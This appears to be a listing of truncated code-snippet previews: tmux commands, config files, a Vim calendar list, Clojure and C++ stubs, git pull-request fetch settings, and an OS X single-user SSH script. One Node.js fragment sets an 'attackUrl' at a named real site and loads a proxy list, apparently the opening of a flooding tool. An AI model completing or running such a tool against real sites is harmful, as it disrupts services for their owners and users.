start new:
tmux
start new with session name:
tmux new -s myname
| // g++ simple.cpp -shared -o libsimple.dylib | |
| #include <stdio.h> | |
| class Simple { | |
| int id_; | |
| public: | |
| Simple(int id); | |
| ~Simple(); |
| base { | |
| // debug: connection progress & client list on SIGUSR1 | |
| log_debug = on; | |
| // info: start and end of client session | |
| log_info = on; | |
| /* possible `log' values are: | |
| * stderr | |
| * file:/path/to/file |
| scriptencoding utf-8 | |
| let s:calendar_list = [ | |
| \ ['Australian Holidays', 'en.australian#holiday@group.v.calendar.google.com'], | |
| \ ['Austrian Holidays', 'en.austrian#holiday@group.v.calendar.google.com'], | |
| \ ['Brazilian Holidays', 'en.brazilian#holiday@group.v.calendar.google.com'], | |
| \ ['Canadian Holidays', 'en.canadian#holiday@group.v.calendar.google.com'], | |
| \ ['China Holidays', 'en.china#holiday@group.v.calendar.google.com'], | |
| \ ['Christian Holidays', 'en.christian#holiday@group.v.calendar.google.com'], | |
| \ ['Danish Holidays', 'en.danish#holiday@group.v.calendar.google.com'], |
| (defn wrap-fn | |
| "Wrap or replace some function with your own function" | |
| [qualifier wrapper] | |
| (alter-var-root | |
| qualifier | |
| (fn [original-fn] | |
| (fn [& caller-arguments] | |
| (wrapper caller-arguments original-fn))))) | |
| ;; Replace your function implementation: |
Locate the section for your github remote in the .git/config file. It looks like this:
[remote "origin"]
fetch = +refs/heads/*:refs/remotes/origin/*
url = git@github.com:joyent/node.git
Now add the line fetch = +refs/pull/*/head:refs/remotes/origin/pr/* to this section. Obviously, change the github url to match your project's URL. It ends up looking like this:
| var request = require('request'), | |
| util = require('util'), | |
| fs = require('fs'), | |
| events = require('events'); | |
| var attackUrl = 'http://ispi.ru/'; | |
| var proxyLists = []; | |
| var proxyFile = __dirname+'/proxylist.txt'; | |
| var e = new events.EventEmitter; |
| Per https://code.google.com/p/v8/codesearch#v8/trunk/src/runtime.cc | |
| %CreateSymbol | |
| %CreatePrivateSymbol | |
| %CreateGlobalPrivateSymbol | |
| %NewSymbolWrapper | |
| %SymbolDescription | |
| %SymbolRegistry | |
| %SymbolIsPrivate |
| #!/bin/bash | |
| # https://github.com/jacobsalmela | |
| # Enables outbound SSH in single-user mode on OS X | |
| # Save this file as /var/root/.profile and boot into single-user mode | |
| # Last tested on 10.9.2 | |
| #----------VARIABLES--------- | |
| # Manually set ethernet device ID |
Simple way to setup an arm chroot for building packages for your arm devices. This is an alternative to cross-compiling where you are limited to only linking against the libs in your toolchain.
You can store the chroot wherever you like. I choose to store it in a disk-image which I mount to my filesystem.